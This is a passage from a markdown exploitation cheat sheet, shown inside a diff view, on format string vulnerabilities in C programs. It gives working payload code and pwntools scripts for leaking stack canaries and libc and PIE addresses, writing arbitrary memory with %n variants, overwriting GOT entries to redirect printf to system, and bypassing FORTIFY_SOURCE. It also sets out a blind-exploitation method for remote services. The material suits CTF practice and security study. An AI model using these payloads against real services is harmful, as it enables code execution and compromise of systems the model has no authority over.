fprintf(fp, user_input); // VULNERABLE
|
|
27
|
+
sprintf(buf, user_input); // VULNERABLE
|
|
28
|
+
snprintf(buf, sz, user_input); // VULNERABLE
|
|
29
|
+
|
|
30
|
+
printf("%s", user_input); // SAFE: format string is fixed
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
### Quick Test
|
|
34
|
+
|
|
35
|
+
```
|
|
36
|
+
Input: AAAA%p%p%p%p%p%p%p%p
|
|
37
|
+
If output shows stack values (hex addresses): format string confirmed
|
|
38
|
+
Look for 0x4141414141414141 in output to find your input offset
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
---
|
|
42
|
+
|
|
43
|
+
## 2. READING MEMORY
|
|
44
|
+
|
|
45
|
+
### Stack Leak (%p)
|
|
46
|
+
|
|
47
|
+
| Format | Action | Use |
|
|
48
|
+
|---|---|---|
|
|
49
|
+
| `%p` | Print next stack value as pointer | Sequential stack dump |
|
|
50
|
+
| `%N$p` | Print N-th parameter as pointer | Direct positional access |
|
|
51
|
+
| `%N$lx` | Same as %p but explicit hex (64-bit) | Portable |
|
|
52
|
+
| `%N$s` | Dereference N-th parameter as string pointer | Read memory at pointer value |
|
|
53
|
+
|
|
54
|
+
### Finding Your Input Offset
|
|
55
|
+
|
|
56
|
+
```python
|
|
57
|
+
# Send: AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
|
|
58
|
+
# Output: AAAAAAAA.0x7ffd12340000.0x0.(nil).0x7f1234567890.0x4141414141414141...
|
|
59
|
+
# ↑ offset = 6 (example)
|
|
60
|
+
# Or automated:
|
|
61
|
+
for i in range(1, 30):
|
|
62
|
+
io.sendline(f'AAAA%{i}$p')
|
|
63
|
+
if '0x41414141' in io.recvline():
|
|
64
|
+
print(f'Offset = {i}')
|
|
65
|
+
break
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
### Leaking Specific Values
|
|
69
|
+
|
|
70
|
+
| Target | Method | Stack Position |
|
|
71
|
+
|---|---|---|
|
|
72
|
+
| Canary | `%N$p` where N = canary offset from format string | Typically at offset buf_size/8 + few |
|
|
73
|
+
| Saved RBP | `%N$p` (just above return address) | Leaks stack address → stack base |
|
|
74
|
+
| Return address | `%N$p` | Leaks .text address (PIE base = leak & ~0xfff - offset) |
|
|
75
|
+
| Libc address | `%N$p` where N points to `__libc_start_main+XX` return on stack | libc base = leak - offset |
|
|
76
|
+
|
|
77
|
+
### Reading Arbitrary Address (%s)
|
|
78
|
+
|
|
79
|
+
```
|
|
80
|
+
# 32-bit: place address at start of format string
|
|
81
|
+
payload = p32(target_addr) + b'%N$s' # N = offset where target_addr appears on stack
|
|
82
|
+
|
|
83
|
+
# 64-bit: address contains null bytes → place AFTER format specifiers
|
|
84
|
+
payload = b'%8$sAAAA' + p64(target_addr) # %8$s reads from offset 8 where address is
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
---
|
|
88
|
+
|
|
89
|
+
## 3. WRITING MEMORY (%n)
|
|
90
|
+
|
|
91
|
+
### Write Specifiers
|
|
92
|
+
|
|
93
|
+
| Specifier | Bytes Written | Width |
|
|
94
|
+
|---|---|---|
|
|
95
|
+
| `%n` | 4 bytes (int) | Characters printed so far |
|
|
96
|
+
| `%hn` | 2 bytes (short) | Characters printed so far (mod 0x10000) |
|
|
97
|
+
| `%hhn` | 1 byte (char) | Characters printed so far (mod 0x100) |
|
|
98
|
+
| `%ln` | 8 bytes (long) | Characters printed so far |
|
|
99
|
+
|
|
100
|
+
### Arbitrary Write Technique
|
|
101
|
+
|
|
102
|
+
**Goal**: Write value `V` to address `A`.
|
|
103
|
+
|
|
104
|
+
**32-bit** (address on stack directly):
|
|
105
|
+
```python
|
|
106
|
+
# Write 2 bytes at a time using %hn
|
|
107
|
+
# Place target addresses in format string (they'll be on stack)
|
|
108
|
+
payload = p32(target_addr) # for low 2 bytes
|
|
109
|
+
payload += p32(target_addr + 2) # for high 2 bytes
|
|
110
|
+
# Calculate padding for each %hn write
|
|
111
|
+
low = value & 0xffff
|
|
112
|
+
high = (value >> 16) & 0xffff
|
|
113
|
+
payload += f'%{low - 8}c%{offset}$hn'.encode()
|
|
114
|
+
payload += f'%{(high - low) & 0xffff}c%{offset+1}$hn'.encode()
|
|
115
|
+
```
|
|
116
|
+
|
|
117
|
+
**64-bit** (address AFTER format string):
|
|
118
|
+
```python
|
|
119
|
+
# Addresses contain null bytes (0x00007fXXXXXXXX) which terminate string
|
|
120
|
+
# Solution: place addresses AFTER the format specifiers
|
|
121
|
+
|
|
122
|
+
# Step 1: format string portion (no null bytes)
|
|
123
|
+
fmt = b'%Xc%N$hn%Yc%M$hn'
|
|
124
|
+
# Step 2: pad to 8-byte alignment
|
|
125
|
+
fmt = fmt.ljust(align, b'A')
|
|
126
|
+
# Step 3: append target addresses
|
|
127
|
+
fmt += p64(target_addr)
|
|
128
|
+
fmt += p64(target_addr + 2)
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
### Byte-by-Byte Write with %hhn
|
|
132
|
+
|
|
133
|
+
Write one byte at a time for precision (6 writes for full 48-bit address on 64-bit):
|
|
134
|
+
|
|
135
|
+
```python
|
|
136
|
+
writes = {}
|
|
137
|
+
for i in range(6):
|
|
138
|
+
byte_val = (value >> (i * 8)) & 0xff
|
|
139
|
+
writes[target_addr + i] = byte_val
|
|
140
|
+
|
|
141
|
+
# pwntools handles the math:
|
|
142
|
+
from pwn import fmtstr_payload
|
|
143
|
+
payload = fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
---
|
|
147
|
+
|
|
148
|
+
## 4. PWNTOOLS fmtstr_payload()
|
|
149
|
+
|
|
150
|
+
```python
|
|
151
|
+
from pwn import *
|
|
152
|
+
|
|
153
|
+
# Overwrite GOT entry with target address
|
|
154
|
+
payload = fmtstr_payload(
|
|
155
|
+
offset, # stack offset where input appears
|
|
156
|
+
{elf.got['printf']: libc.symbols['system']}, # {addr: value}
|
|
157
|
+
numbwritten=0, # bytes already output before our input
|
|
158
|
+
write_size='short' # 'byte', 'short', or 'int'
|
|
159
|
+
)
|
|
160
|
+
|
|
161
|
+
# For 64-bit with addresses after format string:
|
|
162
|
+
# fmtstr_payload handles this automatically
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
### FmtStr Class (Interactive Exploitation)
|
|
166
|
+
|
|
167
|
+
```python
|
|
168
|
+
from pwn import *
|
|
169
|
+
|
|
170
|
+
def send_payload(payload):
|
|
171
|
+
io.sendline(payload)
|
|
172
|
+
return io.recvline()
|
|
173
|
+
|
|
174
|
+
fmt = FmtStr(execute_fmt=send_payload)
|
|
175
|
+
# fmt.offset is auto-detected
|
|
176
|
+
fmt.write(elf.got['printf'], libc.symbols['system'])
|
|
177
|
+
fmt.execute_writes()
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
---
|
|
181
|
+
|
|
182
|
+
## 5. GOT OVERWRITE VIA FORMAT STRING
|
|
183
|
+
|
|
184
|
+
### Common Targets
|
|
185
|
+
|
|
186
|
+
| Overwrite | With | Trigger |
|
|
187
|
+
|---|---|---|
|
|
188
|
+
| `printf@GOT` | `system` | Next `printf(user_input)` → `system(user_input)`, send `/bin/sh` |
|
|
189
|
+
| `strlen@GOT` | `system` | If `strlen(user_input)` called |
|
|
190
|
+
| `puts@GOT` | `system` | If `puts(user_input)` called |
|
|
191
|
+
| `atoi@GOT` | `system` | If `atoi(user_input)` called (send `sh` as "number") |
|
|
192
|
+
| `__stack_chk_fail@GOT` | Controlled addr | Bypass canary check entirely |
|
|
193
|
+
| `exit@GOT` | `main` | Create infinite loop for multi-shot exploit |
|
|
194
|
+
|
|
195
|
+
### Hook Targets (glibc < 2.34)
|
|
196
|
+
|
|
197
|
+
| Target | One-gadget | Trigger |
|
|
198
|
+
|---|---|---|
|
|
199
|
+
| `__malloc_hook` | one_gadget addr | Any `printf` with large format → internal `malloc` |
|
|
200
|
+
| `__free_hook` | `system` | Trigger `free("/bin/sh")` |
|
|
201
|
+
|
|
202
|
+
---
|
|
203
|
+
|
|
204
|
+
## 6. STACK POINTER CHAIN EXPLOITATION
|
|
205
|
+
|
|
206
|
+
When format string is **not directly on the stack** (e.g., stored in a heap buffer referenced by stack pointer), use pointer chains on the stack to achieve arbitrary write.
|
|
207
|
+
|
|
208
|
+
### Two-Stage Write
|
|
209
|
+
|
|
210
|
+
```
|
|
211
|
+
Stack:
|
|
212
|
+
[offset A] → ptr_X (stack address pointing to another stack address)
|
|
213
|
+
[offset B] → ptr_Y (target of ptr_X)
|
|
214
|
+
|
|
215
|
+
Stage 1: Use %A$hn to modify ptr_X's low bytes → ptr_X now points to target_addr
|
|
216
|
+
Stage 2: Use %B$n to write through the modified ptr_X → writes to target_addr
|
|
217
|
+
```
|
|
218
|
+
|
|
219
|
+
This requires finding **existing pointer chains** on the stack (e.g., saved frame pointers forming a chain: rbp → prev_rbp → prev_prev_rbp).
|
|
220
|
+
|
|
221
|
+
### Finding Pointer Chains
|
|
222
|
+
|
|
223
|
+
```python
|
|
224
|
+
# Leak stack with %p, look for:
|
|
225
|
+
# 1. Stack address A at offset N that points to another stack address B
|
|
226
|
+
# 2. Stack address B at offset M
|
|
227
|
+
# Modify value at A (using %N$hn) to change where B points
|
|
228
|
+
# Then write through B (using %M$hn) to target
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
---
|
|
232
|
+
|
|
233
|
+
## 7. BLIND FORMAT STRING
|
|
234
|
+
|
|
235
|
+
Remote service, no binary, no source — exploit format string blind.
|
|
236
|
+
|
|
237
|
+
### Methodology
|
|
238
|
+
|
|
239
|
+
| Step | Action | Purpose |
|
|
240
|
+
|---|---|---|
|
|
241
|
+
| 1 | Send `%p` × 50 | Dump stack, identify address patterns |
|
|
242
|
+
| 2 | Identify offsets | Find libc addrs (0x7f...), stack addrs (0x7ff...), code addrs |
|
|
243
|
+
| 3 | Find input offset | Send `AAAA%N$p` for N=1..50, find 0x41414141 |
|
|
244
|
+
| 4 | Identify binary base | Code addresses reveal PIE base (or fixed base if no PIE) |
|
|
245
|
+
| 5 | Leak GOT entries | If binary base known, read GOT via `%N$s` with GOT address |
|
|
246
|
+
| 6 | Calculate libc base | GOT value - libc symbol offset |
|
|
247
|
+
| 7 | Overwrite GOT | `%n` to rewrite GOT entry with system address |
|
|
248
|
+
|
|
249
|
+
---
|
|
250
|
+
|
|
251
|
+
## 8. FORTIFY_SOURCE BYPASS
|
|
252
|
+
|
|
253
|
+
`FORTIFY_SOURCE` (gcc `-D_FORTIFY_SOURCE=2`) replaces `printf` with `__printf_chk` which **forbids `%N$n`** (positional writes).
|
|
254
|
+
|
|
255
|
+
### Bypass Techniques
|
|
256
|
+
|
|
257
|
+
| Method | Detail |
|
|
258
|
+
|---|---|
|
|
259
|
+
| Use `%hn` sequentially (no positional) | Print exact byte count, `%hn`, adjust, `%hn` — fragile but works |
|
|
260
|
+
| Stack-based exploit | If format string is on stack, use non-positional `%n` with stack position control |
|
|
261
|
+
| Heap overflow instead | FORTIFY doesn't protect heap — combine with heap bug |
|
|
262
|
+
| Return-to-printf | ROP to call unfortified `printf` (if available in binary or libc) |
|
|
263
|
+
|
|
264
|
+
---
|
|
265
|
+
|
|
266
|
+
## 9. 64-BIT CONSIDERATIONS
|
|
267
|
+
|
|
268
|
+
| Challenge | Solution |
|
|
269
|
+
|---|---|
|
|
270
|
+
| Addresses contain `\x00` (null byte terminates format string) | Place addresses AFTER format specifiers, pad to alignment |
|
|
271
|
+
| Address width: 6 significant bytes | Write 3 × `%hn` (2 bytes each) or 6 × `%hhn` |
|
|
272
|
+
| Larger stack offset range | Input may be at offset 6+ due to 6 register args saved |
|
|
273
|
+
| 48-bit address space | Only bottom 48 bits of 64-bit used |
|
|
274
|
+
|
|
275
|
+
### Layout Template (64-bit)
|
|
276
|
+
|
|
277
|
+
```
|
|
278
|
+
[format_string_specifiers][padding_to_8byte_align][addr1][addr2][addr3]...
|
|
279
|
+
← no null bytes here → ← null bytes OK (after fmt) →
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
---
|
|
283
|
+
|
|
284
|
+
## 10. DECISION TREE
|
|
285
|
+
|
|
286
|
+
```
|
|
287
|
+
Format string vulnerability confirmed (printf(user_input))
|
|
288
|
+
├── FORTIFY_SOURCE enabled? (__printf_chk)
|
|
289
|
+
│ ├── YES → positional %n blocked
|
|
290
|
+
│ │ ├── Sequential %n possible? → non-positional write
|
|
291
|
+
│ │ └── Combine with another primitive (heap, ROP)
|
|
292
|
+
│ └── NO → full positional %n available
|
|
293
|
+
├── What do you need first?
|
|
294
|
+
│ ├── Leak canary → %N$p at canary stack offset
|
|
295
|
+
│ ├── Leak PIE base → %N$p at return address offset → base = leak - known_offset
|
|
296
|
+
│ ├── Leak libc base → %N$p at __libc_start_main return on stack
|
|
297
|
+
│ ├── Leak heap base → %N$p at heap pointer on stack
|
|
298
|
+
│ └── Leak specific address → %N$s with target address on stack
|
|
299
|
+
├── Architecture?
|
|
300
|
+
│ ├── 32-bit → addresses at start of format string
|
|
301
|
+
│ └── 64-bit → addresses after format string (null byte issue)
|
|
302
|
+
├── Write target?
|
|
303
|
+
│ ├── Partial RELRO → GOT overwrite (printf→system, atoi→system)
|
|
304
|
+
│ ├── Full RELRO → __malloc_hook or __free_hook (pre-2.34)
|
|
305
|
+
│ ├── Full RELRO + glibc ≥ 2.34 → target _IO_FILE, exit_funcs, TLS_dtor_list
|
|
306
|
+
│ └── Stack return address → direct overwrite (if ASLR bypassed)
|
|
307
|
+
├── Single-shot or multi-shot?
|
|
308
|
+
│ ├── Loop (multi-shot) → overwrite GOT entry incrementally, use pointer chains
|
|
309
|
+
│ └── One-shot → fmtstr_payload() with all writes in single payload
|
|
310
|
+
└── Input not on stack? (heap buffer)
|
|
311
|
+
└── Use stack pointer chains for indirect writes
|
|
312
|
+
```
|